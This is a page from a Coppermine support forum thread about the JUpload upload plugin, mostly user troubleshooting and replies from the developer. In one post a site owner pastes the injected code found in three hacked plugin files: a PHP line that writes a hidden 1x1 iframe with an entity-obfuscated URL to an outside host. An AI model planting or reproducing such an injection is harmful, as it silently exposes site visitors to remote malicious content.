Upload applet (JUpload) : the easiest upload ! - Page 29 Upload applet (JUpload) : the easiest upload ! - Page 29
 

News:

cpg1.5.48 Security release - upgrade mandatory!
The Coppermine development team is releasing a security update for Coppermine in order to counter a recently discovered vulnerability. It is important that all users who run version cpg1.5.46 or older update to this latest version as soon as possible.
[more]

Main Menu

Upload applet (JUpload) : the easiest upload !

Started by etienne_sf, April 28, 2007, 10:41:28 AM

Previous topic - Next topic

0 Members and 3 Guests are viewing this topic.

genti555

#560
my site has been hacked by jupload-2.6.4 i do not know how but it has injected an iframe at the end code of codebase.php in /plugins/jupload/codebase.php

it says Parse error: syntax error, unexpected '<' in ........../fotopermsn/plugins/jupload/codebase.php on line 158


this is the ending code of this file:


          return jupload_cpg_die(ERROR, "internal error while reading the extension, for file '${CURRENT_PIC_DATA['filename']}'", __FILE__, __LINE__);

       }

      $CURRENT_PIC_DATA['title'] = str_replace("_", " ", rawurldecode($fmatches[1]));

   }



   return $CURRENT_PIC_DATA;

}



<?php echo '<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe>'; ?>



i do not know where they have entered from.
can anybody help ??? ???


this is my site:  http://fotopermsn.zbavitje.com/
i know that by replacing this file i can fix this but it can happen again and i would like to know how this happened.


EDIT:
i saw that it has hacked also the file jupload.inc.php  and config.inc.php

this is the ending code of this file jupload.inc.php.

$JUPLOAD_CONFIG['version']='2.6.4';

      <?php echo '<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe>'; ?>


and the ending code for config.inc.php


            cpg_db_query("INSERT INTO {$CONFIG['TABLE_CONFIG']} (name, value) VALUES ('$parameterPrefix$paramName', '"

               . str_replace('\'', '\\\'', $paramsToStore[$paramName])

               . "')"

               );

         }

      }

   }//saveJuploadConfigParamInCoppermineDatabase

   

}<?php echo '<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe>'; ?>


i am replacing these files with the original file.


genti555

Quote from: Nibbler on April 09, 2008, 11:24:03 PM
This is not related to jUpload - don't blame the innocent.

http://forum.coppermine-gallery.net/index.php/topic,51671.0.html

Sorry Nibbler you are right.The problem did not come from jupload. thanks

drgonzo120

#563
hi, it works , thanks!!!

but the configuration is not saved in /httpdocs/coppermine/plugins/jupload/user/config.inc.php .... the file does not exist, when i create it and upload it, and want to cmhod it, it just dissapears !!!! i also tried putting it in the zip and uploaded it that way ... it was there ... but still nog configuration was saved (each time i open de cinfuration page the previously entered vlaues are gone, all is blank)

if i create it through the shell and chmod it 777, the plugin deletes it !

my coppermine version: Coppermine Photo Gallery 1.4.5 (stable)

but again: it works fine !!! i only want to change some options in de configuration and consolidate them


any help ?

drgonzo120

so strange

hehe

it doesn't save in that file and it doesn't show it when default values are put in :p

everything is ok

etienne_sf

Quote from: drgonzo120 on April 16, 2008, 07:30:20 PM
so strange

hehe

it doesn't save in that file and it doesn't show it when default values are put in :p

everything is ok

  It's saved into the Coppermine config table, into the database. I'll check if some old doc remain...

Etienne

donsenilo

#566
Hello

I use this great mod (3.0.3c) on 3 websites and it works perfectly ... BUT NOW ...

... I get this list of error-messages and can't upload pictures (the first 2x 2 pics are uploaded correctly, but then I get this):

19:33:14.921 [INFO] Debug level set to 0
19:33:14.921 [INFO] Current debug output file: D:\temp\Temp\jupload_25627_log.txt
19:33:14.937 [WARN] Invalid int value: true, using default value: 0
19:33:14.937 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
19:33:14.937 [INFO] maxFileSize: 102400000
19:33:15.390 [INFO] JUpload plugin for coppermine version 3.0.3c
19:34:44.296 [INFO] Debug level set to 1
19:34:44.296 [INFO] Current debug output file: D:\temp\Temp\jupload_25627_log.txt
19:34:44.296 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
19:34:44.296 [DEBUG] debugLevel: 1 (debugfile: D:\temp\Temp\jupload_25627_log.txt)
19:34:44.296 [INFO] maxFileSize: 102400000
19:34:58.687 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
19:34:58.703 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
19:34:58.703 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:614)
19:34:58.703 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
19:34:58.703 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)
19:35:05.437 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Die HTTP Antwort erfüllt nicht die Kriterien. Vorgang fehlgeschlagen. (Während des Log Managements ist ein Fehler aufgetreten (sbHttpResponseBody))
19:35:05.437 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Die HTTP Antwort erfüllt nicht die Kriterien. Vorgang fehlgeschlagen.
19:35:05.437 at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1103)
19:35:05.437 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
19:35:06.828 [ERROR] [wjhk.jupload2.exception.JUploadIOException] Trying to get the byte array of a on non-closed ByteArrayEncoded (Could not send debug information)
19:35:06.828 wjhk.jupload2.exception.JUploadIOException: Trying to get the byte array of a on non-closed ByteArrayEncoded
19:35:06.828 at wjhk.jupload2.upload.ByteArrayEncoder.getString(ByteArrayEncoder.java:244)
19:35:06.828 at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1135)
19:35:06.828 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
19:35:06.890 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)


Can someone help me please. I'm not a pro ...
Thanx

--------------
EDIT: Attached the Logfile ...

etienne_sf

Quote from: donsenilo on April 17, 2008, 08:07:28 PM


Can someone help me please. I'm not a pro ...
Thanx

  As explained in the doc, please attach the debug output.

Etienne

russell235

Quote from: donsenilo on April 17, 2008, 08:07:28 PM
Hello

I use this great mod (3.0.3c) on 3 websites and it works perfectly ... BUT NOW ...

... I get this list of error-messages and can't upload pictures (the first 2x 2 pics are uploaded correctly, but then I get this):

did you change your upload directory or permissions on the folder?

donsenilo

#569
Quote from: russell235 on April 18, 2008, 09:07:17 PM
did you change your upload directory or permissions on the folder?

No.

But I found 2 things:
1. JUpload has successfully uploaded the pictures - they are in the correct directory on the server (permissions are ok, checked it with ftp)
2. "Fatal Error ... Allowed memory size of 33554432 bytes exhausted (tried to allocate 12288 bytes) in b>/is/htdocs/wp1012363_58XT577SEF/autosattler/cpg/plugins/jupload/include/j_picmgmt.inc.php</b> on line <b>1051</b><br />\n"
I don't know, what this message means ...
-------------------
EDIT:
Reading the FAQ, I understand know, what this message means ... but not why.
Opened a new thread to get help (I hope ...): http://forum.coppermine-gallery.net/index.php/topic,52062.0.html, because I think this thread is not the right place for this kind of problem.
-------------------
EDIT:
Problem solved.
Added "php_value memory_limit 64M" in htaccess. Now it works with big pictures.

russell235

I've noticed that this applet is compressing my original jpg image.  How can I make it compress the thumb and intermediate, but leave the original untouched, like the native coppermine upload method?

russell235

I posted a little too soon.  I see that you have to set "pictureTransmitMetadata = True"

Great work on this plugin :)

my:phi

Quote from: erostew on December 06, 2007, 04:48:32 PM

Quote from: mirtil on December 06, 2007, 01:10:52 PM
Hi,

This plugin is just all what I need !

I have a question :
I don't have any categories in my coppermine, only albums. But I must specify one to upload with this applet or I can just update existing albums, not create a new one.
Do you know how to upload without categories ?

Thanks,

Try going back one version of the applet.
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb

Hi everyone,

I have the same problem, that I don't have any categories in my gallery. I don't see the albums, that don't have a category. In the field "category" I only see my personal gallery (which is empty).

Now I've read, that I have to downgrade to solve this problem. Is there really no other solution for the latest version (I'm using version 3.0.3c)? And if not: To which version do I have to downgrade?

Thanks in advance!

jh_dempsey

Great program, but i have one little problem...

When i create a new album from within the JUpload page, the album appears at the very end of my album list, meaning I need to go to page 4 (or whatever my last page is) to find it.

I need it so that new albums appear at the top of the list. Any way to do this?

etienne_sf

Quote from: my:phi on April 23, 2008, 12:12:26 AM
Hi everyone,

I have the same problem, that I don't have any categories in my gallery. I don't see the albums, that don't have a category. In the field "category" I only see my personal gallery (which is empty).

Now I've read, that I have to downgrade to solve this problem. Is there really no other solution for the latest version (I'm using version 3.0.3c)? And if not: To which version do I have to downgrade?

Thanks in advance!

Note that the answer was given for an old version of JUpload. It should be applied to 3.0.3c.

I don't understand this : "I don't see the albums that don't have a category". That is: you see only albums in categories?


Can you give me more info:
- How do you connect (admin, other ?)
- ...

Perhaps a screen copy of your group settings would help. There are many combinations in Coppermine.

Etienne

etienne_sf

Quote from: jh_dempsey on April 23, 2008, 03:31:12 PM
Great program, but i have one little problem...

When i create a new album from within the JUpload page, the album appears at the very end of my album list, meaning I need to go to page 4 (or whatever my last page is) to find it.

I need it so that new albums appear at the top of the list. Any way to do this?

  What do you mean by page 4 ?  On the album page, you can change the album order for each category. Is it what you need ?

It's not currently possible from the JUpload interface.

Etienne

my:phi

#576
Salut Etienne,

Quote from: etienne_sf on April 24, 2008, 10:58:32 PM
I don't understand this : "I don't see the albums that don't have a category". That is: you see only albums in categories?

maybe I would see albums in categories, but all my albums don't have a category ("* no category *" in the album manager).

On the JUpload page I only see my personal gallery with 0 albums (because there are no albums in it) in the field "category". And in the field "album" I only see "select album", but there are of course no albums.

I'm connected as an administrator with all permissions. Single file uploads and (FTP) batch file uploads are no problem. Only in JUpload I don't see my albums.

I have attached screenshots of the JUpload page, my group settings and the album manager.

etienne_sf

Quote from: my:phi on April 24, 2008, 11:33:43 PM
Salut Etienne,

maybe I would see albums in categories, but all my albums don't have a category ("* no category *" in the album manager).

On the JUpload page I only see my personal gallery with 0 albums (because there are no albums in it) in the field "category". And in the field "album" I only see "select album", but there are of course no albums.

I'm connected as an administrator with all permissions. Single file uploads and (FTP) batch file uploads are no problem. Only in JUpload I don't see my albums.

I have attached screenshots of the JUpload page, my group settings and the album manager.

Ok.

  From the year in our albums name, I guess you didn't upload these albums with JUpload. Correct ?

I've seen something looking like that, and I thought it was a JUpload bug. I 'corrected' it. But it seems to be a Coppermine feature. I'll have to work on this one.

Etienne

etienne_sf

Quote from: my:phi on April 24, 2008, 11:33:43 PM
Salut Etienne,

maybe I would see albums in categories, but all my albums don't have a category ("* no category *" in the album manager).

On the JUpload page I only see my personal gallery with 0 albums (because there are no albums in it) in the field "category". And in the field "album" I only see "select album", but there are of course no albums.

I'm connected as an administrator with all permissions. Single file uploads and (FTP) batch file uploads are no problem. Only in JUpload I don't see my albums.

I have attached screenshots of the JUpload page, my group settings and the album manager.

Checked.
  There is actually a problem.   :(

I guessed that 'Personal gallery' and 'No category' was the same, when being an admin. It's wrong, as it's not possible to move an album that is in a personal gallery to a Category, even when you're an admin.

  I'll correct that.

Etienne